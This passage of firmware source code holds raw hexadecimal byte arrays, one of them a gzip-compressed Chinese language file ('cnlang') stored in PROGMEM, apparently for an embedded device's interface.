0xe6, 0xac, 0x2d, 0x62, 0xe7, 0xc5, 0xab, 0x57, 0x3f, 0x4d, 0xca, 0x53, 0x88, 0x97, 0x5a, 0x35, 0x61, 0x54, 0xfa, 0xc8, 0x36, 0xbc, 0x61, 0x17, 0x33, 0x3c, 0x27, 0xa2, 0xde, 0xdc, 0x39, 0xbb, 0xd2, 0x3c, 0x4c, 0x16, 0x14, 0x47, 0x6c, 0xbd, 0x60, 0xb5, 0x94, 0x8a, 0x11, 0xbd, 0x09, 0x16, 0x0b, 0x9e, 0xbd, 0x3e, 0xc6, 0xc3, 0x70, 0xfb, 0x67, 0x34, 0x66, 0x81, 0xea, 0x2e, 0xfa, 0x9e, 0xf9, 0x6a, 0xec, 0x2a, 0xf7, 0xe5, 0xc5, 0x31, 0x57, 0x8c, 0xda, 0xd0, 0x8c, 0x43, 0x6d, 0x6b, 0x43, 0x0b, 0x19, 0x4d, 0xc2, 0xae, 0xa8, 0x34, 0x45, 0x43, 0x68, 0x8e, 0xd1, 0x9b, 0x96, 0x1b, 0xc5, 0xd0, 0xb8, 0x7f, 0x79, 0x68, 0x9d, 0x46, 0x7c, 0x8f, 0x66, 0x3b, 0xd1, 0xea, 0xc3, 0xa8, 0x60, 0x3f, 0xe1, 0x66, 0x51, 0x25, 0x6e, 0x5d, 0x78, 0xac, 0x2e, 0x86, 0xb6, 0x7c, 0xdc, 0x94, 0xaa, 0x80, 0x1d, 0x7b, 0xc8, 0x54, 0xc9, 0x0d, 0x35, 0x43, 0xf3, 0xbd, 0x06, 0xe5, 0xa0, 0x4a, 0xe7, 0xa3, 0x29, 0x37, 0xe9, 0x44, 0x21, 0xc0, 0x0f, 0x10, 0xbe, 0x69, 0x55, 0xd2, 0x81, 0x12, 0xcc, 0x1f, 0x30, 0x79, 0xa0, 0x16, 0xc8, 0x19, 0x91, 0xce, 0x72, 0x5e, 0x33, 0x86, 0x75, 0x31, 0x0b, 0x67, 0x23, 0x66, 0x84, 0xe5, 0xb3, 0xd3, 0x53, 0x51, 0x39, 0x8e, 0x96, 0x2b, 0xf4, 0xc6, 0x55, 0xad, 0xc7, 0xcc, 0x09, 0x3c, 0x99, 0xba, 0x72, 0x35, 0x9a, 0xf9, 0x51, 0x84, 0x71, 0x43, 0x8c, 0x60, 0xe8, 0x48, 0x83, 0x8a, 0xb9, 0x51, 0x43, 0x83, 0x84, 0x1a, 0xb5, 0x8f, 0x7a, 0xf6, 0x8a, 0x37, 0xa4, 0xb8, 0x2d, 0x54, 0xec, 0x9b, 0x71, 0x10, 0xbb, 0xb5, 0x19, 0x26, 0xeb, 0x32, 0x36, 0x89, 0xf4, 0x96, 0x87, 0x3e, 0x35, 0x86, 0xd4, 0x9f, 0x80, 0xd9, 0x3c, 0x06, 0xa6, 0x89, 0xc5, 0xc2, 0xbc, 0xe7, 0xfa, 0x9f, 0x07, 0xa8, 0x4a, 0x9a, 0xfa, 0x28, 0x22, 0xb8, 0xc1, 0x4e, 0xb0, 0xb9, 0xca, 0xed, 0x81, 0x49, 0x4b, 0x72, 0x0e, 0x0f, 0x13, 0x46, 0x3d, 0xe9, 0x00, 0x91, 0xd3, 0x96, 0x85, 0xfa, 0x5c, 0x77, 0xa5, 0x1a, 0xa2, 0xb8, 0x8f, 0x72, 0x66, 0x2c, 0xe1, 0x8f, 0xa4, 0x07, 0xff, 0xeb, 0x95, 0x18, 0x46, 0x5f, 0x03, 0x5b, 0x88, 0xff, 0xe2, 0x77, 0xf0, 0x5f, 0x07, 0xc2, 0x58, 0xbb, 0x75, 0x85, 0x56, 0xa5, 0x66, 0xd7, 0x4d, 0xa7, 0x9f, 0xfc, 0x25, 0x91, 0x91, 0xd0, 0xff, 0xa0, 0x94, 0xa1, 0x2e, 0xfe, 0xf4, 0xfc, 0xd9, 0x7f, 0x9e, 0xfd, 0x17, 0x7e, 0xeb, 0xb3, 0x6d, 0x54, 0x1c, 0x00, 0x00};\nconst char cnlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x63, 0x6e, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0x9d, 0x59, 0x5b, 0x6f, 0x5b, 0xc7, 0x11, 0x7e, 0xae, 0x7f, 0x05, 0xeb, 0x27, 0x19, 0xb0, 0x5d, 0xc9, 0x69, 0x82, 0xb4, 0x40, 0x1f, 0x92, 0x5a, 0x2e, 0xdc, 0x0b, 0x6a, 0x44, 0x09, 0xdc, 0x07, 0x03, 0x02, 0x45, 0x1d, 0xc5, 0x44, 0x25, 0x52, 0x20, 0x69, 0xab, 0x45, 0x51, 0x80, 0xb2, 0x4c, 0xf1, 0x22, 0x8a, 0xa4, 0x62, 0x5d, 0x29, 0xca, 0x22, 0x65, 0x5d, 0x18, 0xd9, 0xbc, 0xc8, 0x92, 0x49, 0x91, 0x14, 0xc5, 0xff, 0x92, 0x9c, 0x3d, 0x97, 0x27, 0xff, 0x85, 0x7e, 0xb3, 0x73, 0x78, 0x78, 0x48, 0x29, 0x41, 0x5b, 0xc3, 0x30, 0x88, 0x3d, 0xb3, 0xb3, 0x33, 0xb3, 0x33, 0xdf, 0x7c, 0xb3, 0xfe, 0xd7, 0x0d, 0x17, 0xfe, 0xdc, 0x9c, 0x76, 0xfb, 0xbe, 0xbd, 0xf9, 0x5b, 0xd7, 0x4d, 0x8f, 0xef, 0xe6, 0x6d, 0x5e, 0x99, 0x73, 0x07, 0x7c, 0x5e, 0x5e, 0xd4, 0x4e, 0x8b, 0xda, 0xcb, 0xf4, 0xc7, 0x8b, 0xf9, 0xee, 0xb7, 0x49, 0x6f, 0xd0, 0x33, 0xed, 0xf6, 0xce, 0x28, 0x01, 0xfa, 0x6c, 0x54, 0x0e, 0xcc, 0x42, 0x43, 0xdf, 0x2e, 0xab, 0xad, 0x88, 0xbe, 0x5a, 0x54, 0x9b, 0x29, 0xf5, 0xfc, 0x58, 0x6d, 0x36, 0x45, 0xe9, 0x50, 0x6d, 0xe4, 0xc5, 0x77, 0x49, 0x3d, 0xbf, 0xaa, 0x7f, 0x5f, 0x53, 0xdb, 0x1d, 0x7c, 0x7d, 0xe2, 0x1b, 0x1d, 0x7b, 0xf4, 0xf9, 0xbd, 0xcf, 0x3e, 0x13, 0xe9, 0x84, 0x88, 0xd4, 0xc6, 0xee, 0xff, 0xc9, 0x5c, 0x68, 0xab, 0xe7, 0xcb, 0xda, 0x66, 0x45, 0x3d, 0x6f, 0x6a, 0xa5, 0x7d, 0xe8, 0xd1, 0xb3, 0x2f, 0x8d, 0x70, 0xd2, 0x28, 0x5f, 0x1a, 0xe5, 0x82, 0x16, 0x5b, 0xd7, 0x5e, 0xbf, 0x14, 0xad, 0x26, 0x16, 0x7f, 0x0c, 0xbf, 0x10, 0xe9, 0x8a, 0x01, 0xf9, 0x8b, 0xac, 0x96, 0x8b, 0xbb, 0xbe, 0x7c, 0xf6, 0xad, 0x4b, 0x44, 0x9b, 0x7a, 0xaa, 0x0a, 0xdb, 0x9e, 0xf8, 0x8c, 0x4a, 0x1d, 0x16, 0x88, 0x5c, 0xd1, 0x88, 0x1e, 0x8b, 0xfa, 0x09, 0x36, 0xe8, 0xed, 0x15, 0xbd, 0x95, 0x83, 0x05, 0xd0, 0x25, 0xf6, 0xa3, 0xea, 0x79, 0x82, 0x8d, 0x90, 0xe2, 0x5a, 0xee, 0x9d, 0x65, 0xb6, 0x5c, 0x7b, 0x38, 0x3a, 0x3a, 0xea, 0xfa, 0x7c, 0xf8, 0xde, 0xdd, 0x91, 0x11, 0x2d, 0x1f, 0x15, 0xd1, 0x45, 0xf5, 0xbc, 0xa4, 0xa5, 0xd3, 0x46, 0xa7, 0x0a, 0x45, 0x38, 0x4d, 0x5b, 0x8b, 0x3d, 0xf6, 0xde, 0x79, 0xe0, 0x15, 0xe7, 0x47, 0x1f, 0x2f, 0x92, 0xb0, 0x18, 0x46, 0x98, 0x9b, 0x2d, 0xad, 0xb4, 0x07, 0x13, 0xf5, 0xfc, 0x99, 0xd8, 0x49, 0xab, 0xad, 0x96, 0xda, 0x5e, 0x33, 0xf7, 0x56, 0xc4, 0xf9, 0x21, 0x6c, 0x7d, 0xe2, 0x63, 0xcd, 0x22, 0xbe, 0x0c, 0xd3, 0xb4, 0x37, 0x61, 0x6d, 0xf7, 0x40, 0x7b, 0x51, 0x84, 0x3a, 0xb1, 0xdd, 0x16, 0xe5, 0x1a, 0xe9, 0x3d, 0x5d, 0x13, 0x97, 0x4b, 0xf8, 0xd7, 0x38, 0x7a, 0x29, 0x77, 0xb0, 0x17, 0xe7, 0xcb, 0xc6, 0xe1, 0xbc, 0xa8, 0x2e, 0x1a, 0x9d, 0x2d, 0x84, 0x92, 0xad, 0xd4, 0x8f, 0xaa, 0x08, 0xd0, 0x0f, 0xe1, 0x9c, 0x68, 0xbc, 0xd7, 0xe2, 0x55, 0xb1, 0x55, 0xfc, 0x21, 0xbc, 0x03, 0x4b, 0x20, 0x23, 0xca, 0x49, 0x11, 0x29, 0x5a, 0x36, 0x34, 0xfb, 0x77, 0x21, 0x08, 0xb9, 0x5d, 0xad, 0xf4, 0x86, 0x7f, 0x4b, 0xc7, 0xc5, 0xe1, 0x0b, 0xed, 0x75, 0x4e, 0x6d, 0xe7, 0x21, 0xa8, 0xe5, 0xeb, 0x62, 0x3e, 0x0b, 0x35, 0xa2, 0xbc, 0x20, 0xd2, 0xc7, 0x88, 0xad, 0x51, 0x99, 0xd7, 0x36, 0x53, 0xf8, 0x4a, 0x2e, 0x42, 0xd9, 0xd1, 0x1b, 0xa7, 0x3e, 0xe4, 0x81, 0x58, 0x39, 0xd5, 0x77, 0xc2, 0x6a, 0x2b, 0xac, 0x36, 0x62, 0xd2, 0x66, 0x58, 0x2c, 0x96, 0x3a, 0x7c, 0xf3, 0x62, 0x0d, 0x71, 0xcb, 0xe2, 0xb7, 0x19, 0x5e, 0x85, 0x56, 0x84, 0x06, 0x46, 0x93, 0x9a, 0xe8, 0xb1, 0xd1, 0x7c, 0x2b, 0x62, 0xdf, 0xeb, 0xdb, 0x09, 0x91, 0x46, 0x80, 0x16, 0xec, 0xac, 0xa1, 0x30, 0xd4, 0x62, 0xda, 0x7c, 0xc5, 0x72, 0xc6, 0xb2, 0xe2, 0xcc, 0xb6, 0x42, 0x54, 0x13, 0x66, 0x74, 0x59, 0xdf, 0x3d, 0x30, 0x2a, 0x8b, 0x6a, 0xf3, 0x48, 0xdb, 0x59, 0xa0, 0x0b, 0x68, 0x1d, 0x20, 0x83, 0x8c, 0x85, 0xa4, 0xc8, 0xa4, 0xc8, 0xc9, 0xfd, 0x4b, 0x91, 0x6c, 0xe2, 0xa6, 0xf9, 0x38, 0x6d, 0xfb, 0x4c, 0x1c, 0xb4, 0xb1, 0xfe, 0xd8, 0xfb, 0xc0, 0xcb, 0xd7, 0x49, 0xc7, 0xac, 0x6f, 0xa8, 0xcd, 0xb8, 0x1d, 0xe7, 0x43, 0x6d, 0x21, 0x02, 0xdb, 0x8d, 0x72, 0xc7, 0xdc, 0x28, 0x7f, 0xbc, 0xc8, 0x22, 0xbb, 0x7f, 0xe1, 0x48, 0xed, 0x3b, 0x13, 0xcf, 0x42, 0x21, 0xbf, 0x4f, 0x16, 0x40, 0x6c, 0x45, 0xd4, 0xdf, 0x9b, 0x9b, 0x10, 0x6f, 0x89, 0x46, 0x0d, 0x96, 0xe9, 0x5b, 0x48, 0xda, 0x04, 0x92, 0x83, 0x6b, 0x43, 0x6d, 0x2e, 0xc1, 0x19, 0x68, 0x96, 0x3a, 0x02, 0xca, 0xb4, 0xdf, 0x3d, 0x49, 0x1b, 0x45, 0xac, 0xae, 0xad, 0x57, 0xe5, 0x62, 0xd0, 0xe3, 0x66, 0x5d, 0xf1, 0xb7, 0x48, 0x2b, 0x5e, 0x0a, 0x7a, 0x27, 0x83, 0xb4, 0x36, 0x36, 0xf6, 0xf0, 0x7e, 0x50, 0x2e, 0xb9, 0x43, 0x21, 0xb7, 0xe7, 0xef, 0x72, 0x51, 0x5b, 0x6d, 0x89, 0x68, 0x8b, 0x05, 0x95, 0x50, 0x08, 0xb5, 0x28, 0x97, 0x91, 0xca, 0x7a, 0xbb, 0x2c, 0x97, 0xbd, 0xbe, 0x29, 0xbf, 0x3c, 0x25, 0x72, 0x8a, 0xd0, 0xdb, 0x4b, 0xe3, 0xc1, 0x59, 0xeb, 0x28, 0xab, 0x6e, 0xb3, 0x2e, 0xd6, 0x3d, 0x3d, 0xcd, 0xd2, 0x45, 0x73, 0xa1, 0x28, 0x57, 0x3c, 0x4f, 0xdd, 0x3e, 0x9f, 0x22, 0x57, 0xd5, 0x4e, 0xc1, 0x9c, 0x7f, 0xc5, 0x21, 0x50, 0x9e, 0x7b, 0x3d, 0x4a, 0x90, 0x57, 0x77, 0x44, 0x69, 0x93, 0xea, 0x51, 0x16, 0x90, 0x65, 0xcc, 0xb4, 0xe2, 0x09, 0x8d, 0x3b, 0xb4, 0x85, 0xe3, 0xd6, 0xbe, 0x2b, 0x9f, 0x70, 0x7b, 0xdd, 0xaf, 0x01, 0x65, 0xc6, 0xff, 0x5c, 0xe9, 0x7e, 0xd3, 0x8f, 0x5a, 0xe6, 0xd6, 0xbe, 0xc3, 0x94, 0x60, 0xc8, 0x1d, 0xf2, 0xfa, 0x7d, 0xe3, 0x14, 0xa6, 0xf1, 0x10, 0xe2, 0x2f, 0xe3, 0xc2, 0x8b, 0x1c, 0x32, 0x6d, 0xa3, 0x66, 0x6e, 0x9c, 0x49, 0x61, 0x9f, 0x32, 0x27, 0xfd, 0x5b, 0xaf, 0x02, 0x18, 0x78, 0xbb, 0xfb, 0xb9, 0xd2, 0x33, 0x98, 0xdd, 0x9d, 0x94, 0x57, 0xa0, 0xd5, 0x5b, 0x22, 0x91, 0xef, 0xae, 0x8c, 0xb3, 0x89, 0x0a, 0xdf, 0x4e, 0x64, 0xc9, 0xcc, 0x2e, 0x6a, 0xf1, 0x30, 0x6c, 0xd4, 0x52, 0x07, 0x22, 0x72, 0xa0, 0xbf, 0x68, 0x48, 0x49, 0x58, 0x1a, 0x98, 0x0b, 0x78, 0x43, 0x52, 0xa7, 0x71, 0xb8, 0xa8, 0x6f, 0xaf, 0xcb, 0x75, 0x32, 0x6c, 0xdc, 0xeb, 0x0b, 0x29, 0x81, 0xe7, 0x6e, 0xe9, 0x07, 0x1b, 0x45, 0x7f, 0xb3, 0xab, 0x6c, 0xda, 0xb3, 0x99, 0x09, 0x86, 0x45, 0x6d, 0xad, 0x6a, 0x46, 0xf9, 0xa2, 0x43, 0xee, 0xc0, 0xb7, 0x4a, 0x48, 0x46, 0x94, 0x6a, 0x28, 0x1f, 0xb5, 0x33, 0x62, 0xbc, 0x7b, 0x87, 0x77, 0x5c, 0x38, 0x1b, 0xf7, 0xcd, 0xbe, 0x22, 0xc9, 0xf4, 0x52, 0x5c, 0x5c, 0x46, 0x90, 0xe9, 0x3a, 0x72, 0x39, 0x86, 0xda, 0x6f, 0x69, 0x3b, 0x1d, 0xe4, 0x1c, 0x5d, 0xc6, 0xab, 0x1d, 0x23, 0xfe, 0xfe, 0xcf, 0xa3, 0xf7, 0xb5, 0x64, 0x54, 0xdf, 0x6f, 0xea, 0xf3, 0x15, 0x7d, 0xf1, 0xa5, 0x3e, 0x5f, 0xfa, 0x78, 0x11, 0x43, 0xc1, 0x89, 0xf4, 0x26, 0x8a, 0x40, 0x6f, 0x75, 0x20, 0xf3, 0xf1, 0x22, 0x4e, 0x1a, 0x5e, 0xd6, 0xa8, 0x4a, 0xa4, 0x7e, 0xce, 0x48, 0x59, 0x03, 0x77, 0x5c, 0xc0, 0xca, 0xfe, 0x10, 0xe7, 0x76, 0xe1, 0x0a, 0x76, 0x3c, 0x56, 0x26, 0xf4, 0xb5, 0xa4, 0xb9, 0xb3, 0x07, 0x10, 0xa2, 0x0a, 0x4c, 0x57, 0x24, 0x6a, 0x26, 0x01, 0x5f, 0x8c, 0xc0, 0x66, 0x2e, 0x0c, 0x88, 0x42, 0x59, 0x42, 0x99, 0xd1, 0x79, 0x8d, 0xe8, 0x49, 0x68, 0xb9, 0xe3, 0x22, 0x30, 0x48, 0x1f, 0x53, 0x40, 0x97, 0xbe, 0x57, 0xcf, 0xc3, 0x00, 0x0e, 0xf6, 0x58, 0x7e, 0xee, 0x65, 0xbd, 0xc3, 0x6f, 0x60, 0x3e, 0xe5, 0xbf, 0x88, 0x6d, 0x18, 0x85, 0xa2, 0xd5, 0x3f, 0x3a, 0x05, 0x6c, 0x19, 0x9a, 0x50, 0xdc, 0x1e, 0xbf, 0xef, 0x16, 0xaa, 0x5a, 0x4b, 0xed, 0x69, 0x1f, 0x96, 0x86, 0x66, 0x03, 0xfe, 0x09, 0xe5, 0x16, 0x17, 0x86, 0xe5, 0x82, 0x4b, 0xab, 0xa4, 0x71, 0x08, 0x69, 0xd0, 0x72, 0x61, 0xb1, 0x9f, 0x85, 0x7d, 0xc0, 0x06, 0x00, 0xf6, 0x27, 0xf7, 0xb0, 0x2e, 0x4a, 0x1b, 0xfa, 0xbb, 0x43, 0x4b, 0x56, 0xed, 0x94, 0xb5, 0xd5, 0x86, 0x3c, 0x2c, 0x93, 0xb2, 0x40, 0xb6, 0xb3, 0x69, 0x94, 0xab, 0x1c, 0x1a, 0xce, 0x1d, 0x4b, 0x16, 0x9e, 0xb2, 0x8f, 0x88, 0x11, 0xe7, 0x89, 0xb5, 0xef, 0x4a, 0x18, 0x1d, 0x75, 0xeb, 0xf0, 0x8a, 0x14, 0xd0, 0xd6, 0x8b, 0xb0, 0x38, 0x5a, 0x62, 0x8b, 0x91, 0x2b, 0x76, 0xfb, 0x12, 0xfb, 0x27, 0x22, 0xd5, 0xea, 0x8b, 0x1c, 0xc0, 0x8e, 0x4f, 0xc4, 0xed, 0x89, 0xf4, 0x3a, 0x30, 0xd1, 0x3c, 0x4e, 0x12, 0x1a, 0x9f, 0x1d, 0x6b, 0xd5, 0x33, 0x56, 0x31, 0x34, 0xa9, 0xb8, 0x9f, 0x85, 0x9e, 0x5a, 0x21, 0xb8, 0x1a, 0xe5, 0x41, 0xe3, 0xd9, 0x25, 0x96, 0x90, 0x21, 0xda, 0x39, 0x30, 0x3a, 0xdb, 0x46, 0x21, 0xc9, 0x11, 0xb6, 0x23, 0xdb, 0x17, 0x52, 0xa7, 0x87, 0x04, 0xb3, 0xf2, 0x07, 0xb2, 0x59, 0x5b, 0x2e, 0x8b, 0x64, 0xc4, 0x0c, 0xef, 0xea, 0xa9, 0x68, 0xcf, 0xf3, 0x2e, 0x36, 0x39, 0x6f, 0x74, 0x37, 0xa3, 0x36, 0xb7, 0x19, 0xa8, 0xec, 0x44, 0x11, 0x99, 0x0a, 0xa2, 0xa7, 0xa1, 0x17, 0x2e, 0xb4, 0xf5, 0xd5, 0x5d, 0xb4, 0xd3, 0xbe, 0x5b, 0x61, 0x69, 0x48, 0x50, 0x02, 0x25, 0x0a, 0xa2, 0x13, 0x71, 0x5e, 0x0a, 0xcc, 0x70, 0xec, 0xe9, 0x21, 0x5d, 0x3f, 0x11, 0xe1, 0xc6, 0x86, 0xf6, 0x02, 0x59, 0x34, 0x01, 0x4e, 0x5c, 0x73, 0x0f, 0xe0, 0x55, 0x40, 0xd5, 0x98, 0xab, 0x5b, 0x46, 0x45, 0x36, 0x99, 0x4a, 0x1d, 0xf6, 0x18, 0xed, 0x36, 0xe8, 0x81, 0x59, 0xf8, 0x80, 0x5a, 0xe3, 0x3e, 0xad, 0x9e, 0xbf, 0x17, 0x69, 0x34, 0xca, 0x15, 0xe3, 0x68, 0x11, 0xed, 0x15, 0x67, 0x22, 0x56, 0x88, 0x9d, 0x56, 0x3a, 0x30, 0xaa, 0xe8, 0x57, 0x6b, 0x5d, 0x7c, 0x07, 0x56, 0x05, 0x42, 0xe3, 0xc1, 0x90, 0x7f, 0x56, 0x9e, 0x2a, 0xaf, 0xd8, 0xf5, 0x2b, 0x97, 0x98, 0xcf, 0x81, 0x0d, 0xf4, 0x24, 0x7a, 0x1f, 0xad, 0x35, 0x4b, 0xbe, 0x27, 0x36, 0xe7, 0x9d, 0xf2, 0x8e, 0xfb, 0xa7, 0xa6, 0x68, 0x99, 0x3a, 0x15, 0x80, 0xdc, 0xdc, 0x28, 0x59, 0x70, 0x39, 0xe1, 0xf7, 0x4b, 0x15, 0x1c, 0x3b, 0x6b, 0x11, 0xd1, 0xb6, 0xd6, 0xba, 0x4d, 0x40, 0xf1, 0xb9, 0x27, 0xa6, 0x95, 0xf1, 0x80, 0xdb, 0x37, 0xe9, 0x9f, 0xe9, 0x1e, 0x99, 0xa9, 0x98, 0x59, 0x54, 0x73, 0x53, 0x2b, 0x16, 0xc4, 0x45, 0xba, 0xdb, 0xd8, 0x06, 0x05, 0xe5, 0x69, 0x57, 0x04, 0x59, 0x60, 0x1c, 0x68, 0xee, 0x91, 0x52, 0x19, 0xaa, 0x7d, 0xa7, 0x14, 0xe5, 0x44, 0xae, 0xa8, 0xb7, 0xc0, 0x3b, 0xb2, 0x4e, 0xfc, 0x13, 0x8b, 0x11, 0xba, 0xa4, 0x58, 0x86, 0x85, 0x11, 0xf2, 0x5e, 0x5d, 0x5b, 0x0d, 0x82, 0x92, 0xd7, 0xd6, 0x6c, 0x86, 0xb3, 0x46, 0x27, 0x2a, 0x32, 0x2b, 0x94, 0xae, 0x32, 0x95, 0xa9, 0x47, 0x77, 0x71, 0x18, 0xb9, 0x29, 0xca, 0xe0, 0x56, 0x75, 0xfd, 0x6d, 0x85, 0xbb, 0x0f, 0x2e, 0xd6, 0x0c, 0xcf, 0x83, 0x90, 0xa0, 0x73, 0x18, 0xe5, 0x7d, 0x94, 0x06, 0xb8, 0x18, 0x32, 0x9a, 0xfd, 0xa0, 0xf8, 0xb1, 0x1c, 0x21, 0xa4, 0x2c, 0x2c, 0x99, 0x2c, 0x62, 0x3b, 0x4f, 0x05, 0x75, 0x19, 0x03, 0x36, 0x74, 0x69, 0xe0, 0x32, 0x5f, 0x38, 0xb3, 0xbd, 0xb9, 0x3b, 0xf7, 0x86, 0x87, 0x7f, 0xc3, 0x24, 0x01, 0xda, 0xb4, 0xc4, 0x07, 0x71, 0x59, 0x00, 0x11, 0xd1, 0x8f, 0x96, 0xfb, 0xca, 0xe2, 0x67, 0x90, 0x4d, 0xb4, 0x5f, 0x51, 0xb9, 0x3b, 0x6a, 0x1d, 0x36, 0x50, 0xfa, 0x65, 0x92, 0xdc, 0x57, 0x19, 0xb7, 0x61, 0x81, 0xbd, 0x0b, 0x81, 0xb3, 0x58, 0x57, 0x75, 0x91, 0x28, 0x2b, 0x38, 0x56, 0x73, 0xdb, 0x12, 0x6e, 0x2c, 0x21, 0xa0, 0xa2, 0xf3, 0x16, 0xa5, 0x26, 0x62, 0x51, 0x6d, 0x79, 0x8f, 0x24, 0x4f, 0x12, 0xd8, 0x42, 0xa7, 0x54, 0x17, 0xb5, 0x8d, 0x3c, 0x28, 0xa3, 0x13, 0x7c, 0xd1, 0x20, 0x00, 0xa3, 0x36, 0x6a, 0xf7, 0xaa, 0x84, 0x21, 0xd4, 0x0e, 0xb9, 0x55, 0xf6, 0xe7, 0x47, 0x43, 0x5f, 0x32, 0xb6, 0xda, 0x65, 0x6d, 0xd1, 0xb7, 0xf2, 0x1b, 0xb1, 0x92, 0xb0, 0xef, 0x00, 0x7a, 0xf8, 0x92, 0x88, 0xa0, 0xaf, 0x97, 0xf8, 0x02, 0x6c, 0x1d, 0xf6, 0x5e, 0x6a, 0x31, 0xb9, 0x25, 0xe3, 0x43, 0x9d, 0x2e, 0xa3, 0x7a, 0x22, 0x16, 0xd2, 0x64, 0x67, 0x6c, 0x1b, 0xcd, 0x99, 0xb8, 0xd8, 0x7a, 0xd5, 0x22, 0x62, 0x4c, 0xc7, 0xa5, 0x71, 0xdc, 0x48, 0x90, 0x49, 0xac, 0x5f, 0x62, 0x53, 0x32, 0x8a, 0x84, 0xb2, 0x28, 0x7b, 0x66, 0x19, 0x7c, 0xb7, 0x5b, 0x6f, 0x12, 0xf6, 0x6d, 0x1f, 0x18, 0xb1, 0x88, 0x51, 0x9f, 0xbc, 0x80, 0x15, 0xfa, 0xea, 0xc9, 0xb5, 0x79, 0xc2, 0x1c, 0xd1, 0xa8, 0xec, 0x81, 0xdc, 0xf1, 0x75, 0x81, 0xc2, 0x81, 0x44, 0xf2, 0x01, 0x18, 0x37, 0x44, 0xe6, 0x10, 0x81, 0x37, 0xb7, 0x90, 0x2c, 0x2b, 0xd2, 0x26, 0x36, 0x85, 0x15, 0x33, 0x7a, 0xf7, 0xf2, 0x97, 0x86, 0x01, 0xb6, 0xaf, 0x3b, 0x55, 0xb0, 0x7e, 0x44, 0x9d, 0x72, 0xa6, 0x5e, 0xd7, 0xea, 0x8b, 0x32, 0x03, 0xeb, 0xbb, 0x06, 0x4e, 0xda, 0x2a, 0x3a, 0xbc, 0x34, 0xe4, 0x80, 0x43, 0xa0, 0x8f, 0x7e, 0x50, 0xae, 0x89, 0x66, 0x89, 0x35, 0x40, 0x27, 0xc2, 0xc6, 0x57, 0xa7, 0xbd, 0x2b, 0xf4, 0x12, 0x47, 0x8e, 0x11, 0xa2, 0x7d, 0x22, 0x5e, 0x2d, 0xdb, 0x90, 0xc3, 0x28, 0x3b, 0x0e, 0x5e, 0x12, 0xf4, 0x32, 0x29, 0xd5, 0xe3, 0x31, 0x8c, 0x30, 0x22, 0x5d, 0xa7, 0xbe, 0x5c, 0x59, 0x05, 0xf8, 0x81, 0x34, 0xbb, 0x9e, 0xdf, 0xbb, 0x3b, 0x7c, 0x77, 0x04, 0xf4, 0x96, 0x49, 0x7b, 0x38, 0x0e, 0x5e, 0xca, 0x94, 0x1a, 0xa7, 0x6b, 0xcd, 0x8c, 0xda, 0x7a, 0xa3, 0xe7, 0xe7, 0xc9, 0x9d, 0x6d, 0xf4, 0x94, 0x46, 0x9f, 0x72, 0xea, 0xcc, 0x37, 0x5d, 0x12, 0x8b, 0x30, 0xe8, 0xb8, 0xf4, 0x85, 0x12, 0x72, 0xc0, 0x45, 0x41, 0x70, 0x0d, 0x59, 0xd8, 0x5a, 0x7f, 0xcf, 0x78, 0x70, 0x4b, 0xfa, 0x47, 0x9f, 0xcc, 0xb5, 0x8e, 0x68, 0x1e, 0x02, 0xaf, 0xcd, 0x42, 0x0b, 0x47, 0x7c, 0x0e, 0x7f, 0x3e, 0x19, 0xb1, 0x3b, 0x2f, 0xe7, 0xf2, 0xa0, 0x17, 0xb3, 0xee, 0x60, 0x70, 0xce, 0x1f, 0x98, 0xbc, 0x69, 0x9f, 0x25, 0x2a, 0x8b, 0x30, 0xeb, 0xfa, 0x53, 0xf8, 0xdb, 0xff, 0x73, 0x8e, 0x83, 0xdf, 0x52, 0xfb, 0x49, 0x14, 0x09, 0xae, 0x5a, 0xe8, 0xf8, 0xfb, 0x0c, 0x00, 0x14, 0x6c, 0x59, 0x72, 0x83, 0x1b, 0x9f, 0x7a, 0x27, 0x27, 0x15, 0x19, 0x65, 0x33, 0x9b, 0x31, 0x36, 0xd2, 0x76, 0x45, 0x58, 0xa0, 0x76, 0xe5, 0x20, 0xf7, 0x6c, 0xc8, 0xfb, 0x5c, 0x79, 0xe4, 0x0f, 0x84, 0xdc, 0xd3, 0x3d, 0xd4, 0xb4, 0x96, 0x5d, 0xb3, 0x72, 0x9d, 0xe8, 0xd9, 0x46, 0x5e, 0x6f, 0x76, 0x18, 0xbc, 0xf4, 0xd3, 0x96, 0xde, 0xda, 0x05, 0x43, 0x1b, 0x54, 0x06, 0x90, 0xf4, 0x77, 0xf9, 0x2c, 0x8d, 0xb2, 0x89, 0x22, 0x37, 0x41, 0x39, 0x25, 0xfc, 0x08, 0x04, 0xe4, 0x2c, 0xcf, 0x2c, 0xf3, 0x60, 0x8b, 0x46, 0xf0, 0x53, 0x1a, 0xba, 0x3c, 0xda, 0xa9, 0x85, 0x30, 0xd6, 0x01, 0xda, 0x43, 0x33, 0xc1, 0x5b, 0x83, 0xdb, 0xd1, 0x2a, 0x66, 0xa7, 0xdd, 0xff, 0xec, 0xf9, 0xf1, 0x57, 0x70, 0x4d, 0x1b, 0x59, 0xae, 0x13, 0xfd, 0x1a, 0x07, 0xf9, 0x9f, 0xc9, 0xd6, 0x44, 0xb2, 0x46, 0x2d, 0x42, 0x60, 0x25, 0x8f, 0x19, 0x0a, 0xf2, 0x2d, 0x1a, 0x4b, 0x07, 0x16, 0xa1, 0x92, 0x70, 0xcd, 0x22, 0xdc, 0x8d, 0xd9, 0x09, 0x34, 0x8e, 0xe1, 0x41, 0xf5, 0x41, 0x25, 0xe0, 0x75, 0x06, 0x94, 0x5b, 0xb4, 0x96, 0x3a, 0x12, 0xb1, 0x1a, 0x1b, 0x74, 0x17, 0x55, 0x96, 0x2a, 0x1a, 0xcb, 0x19, 0x8b, 0xcf, 0x49, 0xe5, 0xd7, 0xab, 0x19, 0xf5, 0x3c, 0xf5, 0xf7, 0x1a, 0x24, 0xab, 0x32, 0x2e, 0x5f, 0xe1, 0x62, 0xc5, 0xf6, 0x6b, 0x6d, 0xf3, 0xb2, 0x6f, 0xcb, 0x9c, 0x32, 0xd1, 0x3b, 0xd6, 0x09, 0xac, 0xfd, 0xa4, 0x07, 0x62, 0x63, 0xb3, 0xde, 0xa9, 0x29, 0xc9, 0xed, 0x45, 0xa5, 0x81, 0x61, 0x82, 0xde, 0x0a, 0xd6, 0xa3, 0x6a, 0xab, 0xc6, 0x7b, 0x5d, 0x63, 0x8f, 0x1e, 0x3e, 0x78, 0x30, 0xd6, 0xa7, 0x7c, 0xda, 0x9a, 0x3f, 0x58, 0x60, 